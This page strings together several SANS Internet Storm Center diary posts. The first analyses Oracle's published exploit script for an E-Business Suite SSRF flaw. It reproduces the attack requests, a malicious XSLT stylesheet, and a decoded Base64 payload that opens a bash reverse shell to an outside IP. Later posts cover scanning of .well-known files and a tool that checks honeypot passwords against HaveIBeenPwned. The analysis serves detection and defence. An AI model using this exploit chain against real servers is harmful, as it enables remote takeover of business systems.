[1] https://community.freepbx.org/t/security-advisory-please-lock-down-your-administrator-access/107203

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

 

[Update: I added the server part delivering the payload]

This weekend, Oracle published a surprise security bulletin announcing an exploited vulnerability in Oracle E-Business Suite. As part of the announcement, which also included a patch, Oracle published IoC observed as part of the incident response [1].

One script I found interesting is what Oracle calls "exp.py" [2]. Here is a quick analysis of the HTTP requests sent by the script. I only ran it against a simple Python web server, not an actual Oracle E-Business Suite install.

The script takes two parameters: The URL of the target and the IP/port of a config server.

The first request sent by the script:

GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

The script starts by assuming that the internal host is the same as the target host. If this request results in a redirect, the new internal host will be extracted from the Location header.

POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 0

This request will return a CSRF token that is extracted from the body of the response.

Finally, the actual exploit request is created:

POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 4324
Content-Type: application/x-www-form-urlencoded

These are the headers of the request, which are not very remarkable. The body is a bit more interesting. After URL and HTML entity decoding, the body turns out to be:

redirectFromJsp=1
getUiType=<?xml+version="1.0"+encoding="UTF-8"?>
<initialize>
++++<param+name="init_was_saved">test</param>
++++<param+name="return_url">
http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: evilhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie:

POST /

++++<param+name="ui_def_id">0</param>
++++<param+name="config_effective_usage_id">0</param>
++++<param+name="ui_type">Applet</param>
</initialize>

Interesting is the use of the invalid HTTP version 1.2, which may be used to bypass some filters. The stray "POST /" at the end is labeled as "keep alive", and may just be a partial request to keep the connection open a bit longer.

Port 7201 is the default non-TLS port for the application server. The URL looks like a path traversal exploit. Given that this is the payload of the last request, the vulnerability is likely best described as a server-side request forgery issue (and it is labeled as such in the script). 

In short, the exploit does:

• Verify the hostname name
• Retrieve a CSRF token
• sends a request to the app server to use SSRF to connect to an "evilhost" and retrieve instructions? Maybe more about this later. From a detection point of view. The HTTP version 1.2 looks promising.

The "evilhost" the script connects to is implemented with a simple Python script, server.py, implementing two paths [3]:

GET /OA_HTML/help/../ieshostedsurvey.xsl
POST /OA_HTML/help/../ibeCRgpIndividualUser.jsp

Both return the same XSLT style sheet:

<xsl:stylesheet version="1.0"
                    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
                    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
                    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
                    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
        <xsl:template match="/">
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'CiAgICB2YXIgc3RyaW5nYyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCdqYXZhLmxhbmcuU3RyaW5nJyk7CiAgICB2YXIgY21kcyA9ICBqYXZhLmxhbmcucmVmbGVjdC5BcnJheS5uZXdJbnN0YW5jZShzdHJpbmdjLDMpOwogICAgamF2YS5sYW5nLnJlZmxlY3QuQXJyYXkuc2V0KGNtZHMsMCwnc2gnKTsKICAgIGphdmEubGFuZy5yZWZsZWN0LkFycmF5LnNldChjbWRzLDEsJy1jJyk7CiAgICBqYXZhLmxhbmcucmVmbGVjdC5BcnJheS5zZXQoY21kcywyLCdiYXNoIC1pID4mIC9kZXYvdGNwLzguOC44LjgvNDQ0NCAwPiYxJyk7CiAgICBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKTsKICAgIDEKICAgICAgICA=')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>

 

The Base64 encoded part includes the user configurable command to execute:

    var stringc = java.lang.Class.forName('java.lang.String');
    var cmds =  java.lang.reflect.Array.newInstance(stringc,3);
    java.lang.reflect.Array.set(cmds,0,'sh');
    java.lang.reflect.Array.set(cmds,1,'-c');
    java.lang.reflect.Array.set(cmds,2,'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1');
    java.lang.Runtime.getRuntime().exec(cmds);
    1

 

For the Windows version of the exploit, cmd /c is used instead of sh -c.

Note that the request referenced in exp.py requests "/OA_HTML/help/../ieshostedsurvey.jsp", not the .xsl stylesheet. I can only guess at this point that there may be a request triggered to translate the .jsp file, which may be related to the SSRF issue. Maybe someone else has a better idea, or more insight into how the app server works.

[1] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
[2] https://www.virustotal.com/gui/file/aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121
[3] https://www.virustotal.com/gui/file/6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b/community

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I have been writing about the ".well-known" directory a few times before. Recently, about attackers hiding webshells [1], and before that, about the purpose of the directory and why you should set up a "/.well-known/security.txt" file. But I noticed something else when I looked at today's logs on this web server. Sometimes you do not need a honeypot. Some attackers are noisy enough to be easily visible on a busy web server. This time, the attacker hit various URLs inside the ".well-known" directory. Here is a sample from the > 100 URLs hit:

.well-known/ai-plugin.json
.well-known/apple-app-site-association
.well-known/oauth-authorization-server
.well-known/openid-configuration
.well-known/terraform.json

Before you read any further: Some of these files are required. Do not just delete them without first talking to your developers or system administrators!

terraform.json: As the name implies, it is used by Hashicorp's Terraform product. Terraform uses this file to discover API endpoints. A bit like OpenAPI/WSDL [1]

ai-plugin.json: Sites can advertise various AI plugins, particularly ChatGPT. The file describes the plugins (for humans and machines) and defines how to interact with them.

.well-known/apple-app-site-association: Developers may indicate that a specific website/domain is associated with a particular app. This allows content from the website to be used in the app, and credentials may be used across the website and app.

.well-known/oauth-authorization-server and .well-known/openid-configuration: These two are similar in content and purpose. If you use OAuth or OpenID Connect (OIDC), these URLs will help a relying party to figure out what keys to use to verify any signatures created by this service.

Given this small sample, it is pretty apparent why an attacker may scan these. They are handy for reconnaissance and finding out the relationships between sites. As mentioned above, do not blindly delete them as they may be necessary. However, the content of these files should be controlled and reviewed. While at it, ensure you have a .well-known/security.txt file. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Draden Barwick, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

DShield Honeypots are constantly exposed to the internet and inundated with exploit traffic, login attempts, and other malicious activity. Analyzing the logged password attempts can help identify what attackers are targeting. To go through these passwords, I have created a tool that leverages HaveIBeenPwned’s (HIBP’s) API to flag passwords that haven’t appeared in any breaches.

Purpose

Identifying passwords that haven’t been seen in known breaches is useful because it can indicate additional planning and help identify patterns in these less common passwords. Anyone that operates a honeypot (and receives a lot of data on attempted use of passwords in plaintext) could benefit from this project as an additional starting point for investigations.

Development

HaveIBeenPwned maintains a large database of breached passwords and offers an API to tell if a given password has been compromised. This is done by making a request to “https://api.pwnedpasswords.com/range/#####”. Where the “#####” part in a request is the first 5 characters (prefix) of the SHA1 hash of the tested password. The site will return a list of the last 35 characters (suffix) for any password hash in the database that starts with the provided prefix. Each entry includes a count of how many times the corresponding password has been seen in breaches. This prevents anyone from knowing the full hash of the password we are looking for based on the request alone. While this consideration is not important for our use with the DShield honeypots (as all passwords seen are publicly uploaded), it is important to understand because HIBP does not allow for searching with the full hash directly [2].

To gather a list of all passwords my honeypot has gathered, I used JQ to parse the cowrie.json files located in the /srv/cowrie/var/log/cowrie directory. This command matches on any login failures or successes, and returns the password field from matching entries:

jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* 

To extend this, we can remove duplicates using sort and uniq and save the unique passwords to a file:

jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* | sort | uniq > ~/uniquepass.txt

As of writing, this took the number of passwords from 51,601 to 16,210 unique passwords.

Now that we have a list of unique passwords, the next steps are to: read the created password file, take the SHA1 hash of each line, query the API for the hash prefix, and check for the hash suffix in the results.

To accomplish this, I created a Python script that utilizes one input file and two output files. The input file has a list of passwords to check with one entry per line. One output file stores all passwords that have been checked, the SHA1 hash, and how many times HIBP has seen the password (this file is a CSV used to avoid checking a password in the input file if it has been checked before). The other output file stores the plaintext of any password never seen by HIBP. The command line usage looks like this:

python3 queryHIBP.py uniquepass.txt passwordResults.csv unseenPasswords.txt

This resulted in the identification of 1,196 passwords that HIBP has not seen.

Code Breakdown

The code, available on GitHub [3], has thorough commenting but we will examine some parts here to gain a deeper understanding of how it functions.

In Figure 1, we can see the section of code that handles reading the results file that includes all passwords we have searched for. This is expected to be formatted as a CSV file with a header of “password,sha1,count”. As explained above, this helps avoid checking passwords unnecessarily.

The code opens the file with csv.DictReader, checks for “password” in the header, then uses a for loop to go through all of the rows to pull non-empty passwords and add them to a set. The set is returned at the end of the function.

 
Figure 1: Code used to read all previously checked passwords.

 

In Figure 2, we can see the code used to make API requests and handle a common error. First, a loop is established and the API request is made. Second, we check for a 429 response code which means there were too many requests. If there was a 429 error, HIBP will add a “Retry-After” header which lets us know how long to wait before trying again. The user agent is specified elsewhere as “PasswordCheckingProject” because HIBP states that “A missing user agent will result in an HTTP 403 response” [4].

Figure 2: Code used to make API requests and handle expected 429 errors.

 

Figure 3 shows the behavior for handling additional errors and normal function. Firstly, “resp.raise_for_status” is called which would raise an exception if there were an error with the HTTP request. If there’s no error, we simply iterate through all lines of the response to save the hash suffix and count in a dictionary, then return it. If an exception is raised, we increment an “attempt” variable which lets us cap the number of retries which is set to three by default. If the max is hit here, the code will print an error message indicating what prefix was being checked and exit. If there are more retries remaining, the script will wait 5 seconds before continuing. Figure 2 has a similar check for max retries to avoid a potential infinite loop of 429 errors.

Figure 3: Code used to store & return request results or deal with continued/unexpected errors.

 

Implementation

To download the project and try it out with some test data, one can run the following:

git clone https://github.com/MeepStryker/queryHIBP.git
cd queryHIBP
python3 queryHIBP.py ./sampleInput.txt ./passwordResults.csv ./unseenPasswords.txt

As the script runs, it will print out each unseen password identified and a short summary at the end as seen in Figure 4.

Figure 4: Script output using real data.

 

Automation

To automate the use of this tool, I created a cron job to run the JQ command & output results to a file and made another job to run the script with the needed arguments. These are set to run daily with the script running 5 minutes after the JQ command. This uses the following crontab entries:

0 17 * * * jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* | sort | uniq > ~/uniquepass.txt

5 17 * * * python3 ~/queryHIBP.py ~/uniquepass.txt ~/passwordResults.csv ~/unseenPasswords.txt

The script runs 5 minutes after the JQ command to ensure there is more than enough time to create the input file. Since there is a limit on how long logs are retained, there are no concerns about this ever starting to take longer.

I chose this method over adding parsing functionality into the script out of convenience. Using the script would require additional logic and either hardcoding locations to check for logs or dealing with more arguments. As it is designed, anyone can easily plugin a list of passwords without having to worry about many command line options or editing the script.

Results

The script accurately provides information on passwords that HaveIBeenPwned has not seen in prior breaches. While there were more unseen passwords than one may expect (1,196 or ~7.4% of all unique passwords as of writing), it provides interesting insight into what some actors may be targeting. The results also reveal patterns for password mutations that are being leveraged for access attempts:

deploy12345 deploy123456 deploy1234567 deploy12345678 deploy@2022 deploy@2023 deploy@2025 deploy2025 deploy@321 deploypass P@$$vords123 P@$sw0rd# P4$$word!@# P455wORd

P@55W0RD2004 Pa$$word2016! pa33w0rd!@ Pa55w0rd@2021 passw0rd!@#$ pass@w0rd.12345 passwd@123! PaSswORD@123 password@2!@ PaSswORd2021 password!2024 password!2025 Password43213 password!@#456

Password Patterns & Analysis

Analyzing the passwords seen in the above Results section can provide some insight into what techniques are being used to generate passwords.

Consider the above sample of results. Broadly speaking, this ‘deploy family’ of passwords was likely generated by starting with a base password of “deploy” and adding common modifiers to increase complexity. Seen here are good examples of the most simple ones: adding the year (with an @ sign in this case) and adding sequential numbers.

The rest of the entries above are all based on the word ‘password’. These are more complex than what we saw with ‘deploy’. Below are three entries, a plain explanation of a Hashcat rule that could be used to come up with it, and a sample implementation of the rule:

• P4$$word!@#
  • Capitalize the first letter, replace a’s with 4’s, replace s’s with $’s, add !@# to end - c sa4 ss$ $! $@ $#
• P@55W0RD2004
  • Capitalize all letters, replace a’s with @’s, replace s’s with 5’s, replace o’s with 0’s, and add a year to the end - u sa@ ss5 so0 $2 $0 $0 $4
• Password!2024
  • Capitalize the first letter, add ! and a year to the end - t0 $! $2 $0 $2 $4

Both Hashcat and John the Ripper can make these modifications by using rules to augment password lists. The rules allow various changes to input such as replacing or swapping certain characters with others. Note that while much of the rules syntax between these tools is similar, there are some differences [5].

Looking through the unseen passwords, we can also see more specific targets such as Elasticsearch, Oracle, PostgresSQL, and Ubuntu. Figure 5 shows some of these passwords, which use the same kind of modifications mentioned earlier, and illustrate the relative difference in frequency.

Figure 5: Passwords related to specific services/platforms.

Overall Takeaway

While a good amount of manual analysis will still be required, these results can provide a lot of value and the script helps cut down on time. We can learn more about common password modifications to avoid and even get an idea of the relative interest of different targets. In Figure 5 alone, we can see that PostgresSQL may be roughly two times more likely to be targeted than Elasticsearch with newer installations being targeted in particular.

For future work, I would add a feature to recheck the known unseen passwords to identify if they happen to be newly breached.

Additionally, I may consider adding two features for convenience. The first would be re-sorting the unseen file since it is append only. The second would be parsing features to simplify automation and allow the script to provide more functionality for end users.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://haveibeenpwned.com/API/v3#PwnedPasswords
[3] https://github.com/MeepStryker/queryHIBP
[4] https://haveibeenpwned.com/API/v3#UserAgent
[5] https://hashcat.net/wiki/doku.php?id=rule_based_attack#compatibility_with_other_rule_engines

 

--
Jesse La Grew
Handler